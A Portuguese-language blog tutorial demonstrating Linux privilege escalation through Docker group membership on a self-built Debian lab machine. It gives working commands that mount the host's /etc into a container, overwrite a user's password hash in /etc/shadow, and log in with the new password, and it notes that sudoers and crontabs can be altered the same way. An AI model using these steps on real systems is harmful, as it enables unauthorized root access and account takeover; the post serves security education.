Escalando privilégios no Linux através do Docker

Posted by 0xdutra on Monday, October 4, 2021

Docker é um software para criar containers. Este post aborda como podemos usar privilégios de um usuário que tenha acesso ao daemon do Docker obtermos acesso privilegiado.

Criando a máquina de testes

No meu caso, vou usar um Debian, mas fique a vontade para testar em qualquer distruibuição.

OS: Debian 11

PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"
VERSION_ID="11"
VERSION="11 (bullseye)"
VERSION_CODENAME=bullseye
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

Instalação do Docker

Use a documentação oficial para instalar o Docker.

https://docs.docker.com/engine/install/debian/

Instalação do sshpass

Vamos usar o sshpass para provar que conseguimos modificar o arquivo de senhas do linux.

apt install sshpass

Criando o usuário ‘john’

John vai ser nosso usuário com acesso ao Docker, vamos usar ele para explorar a vulnerabilidade.

useradd john -s /bin/bash -m

Criando o usuário ‘maria’

Vamos criar um outro usuário com o nome ‘maria’, veja que no comando eu estou criando um novo usuário com a senha 123.

useradd maria -s /bin/bash -m -p $(openssl passwd -6 -salt xyz 123)

Adicionando o usuário john no grupo do Docker

usermod -aG docker john

Faça login com o usuário john

su - john

Veja se você está no grupo Docker

id

Output:

john@debian:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),998(docker)

Escalação de privilégios

Por padrão, o usuário john não tem acesso para escrever em diretórios “root”. Porém, o daemon do Docker roda com o mais alto privilégio no sistema, isso nos permite montar o sistema de arquivo dentro do container e fazar as alterações que desejamos.

Criando o container

Veja que estou montando o /etc da minha máquina dentro do /tmp do container.

docker run -it -v /etc:/tmp/etc ubuntu:latest /bin/bash

Vamos instalar o vim

apt install update && apt install vim

Listando os arquivos que montamos

Qualquer alteração que fazermos nos arquivos do /tmp/etc será refletido no sistema host, caso esteja testando na sua máquina, se atente para não quebrar o sistema. :)

ls /tmp/etc

Agora podemos editar qualquer arquivo, desde crontab’s, até arquivos importantes como sudoers, shadow, etc.

Vamos alterar a senha do usuário maria

No container, instale o openssl:

apt install openssl

Gerando uma nova senha

openssl passwd -6 -salt xyz 1234567

Abra o arquivo shadow

Agora, vamos alterar o hash antigo pelo novo

vim /tmp/etc/shadow

Dica: altere entre o primeiro : e o segundo, veja o exemplo abaixo.

Linha antiga:

maria:$6$xyz$73Q3Z.l5kN5BNAGMmP5IKozhqw3Zhj8bqQuJy3.Wf44.I3/nkSnzPMeX6rozvFiDHgi2DIt/BOc/lt14/2PH91:18904:0:99999:7:::

Nova linha:

maria:$6$xyz$sM8TGEwykJ0NEGTDWE21IE6CcgV0uPKMjiQ2KCPzBROqJpjS4vVKpDM24QiNW6ZFxJJ8Vu9NXIk5gXoh4XxZL/:18904:0:99999:7:::

Testando

Fora do container, faça um ssh para a máquina alvo passando a nova senha.

OBS: Estamos usando o sshpass só para ficar claro que alteramos a senha antiga, em produção, recomendo que use chaves SSH, são mais seguras e ajudam evitar ataques de brute-force.

sshpass -p 1234567 ssh maria@localhost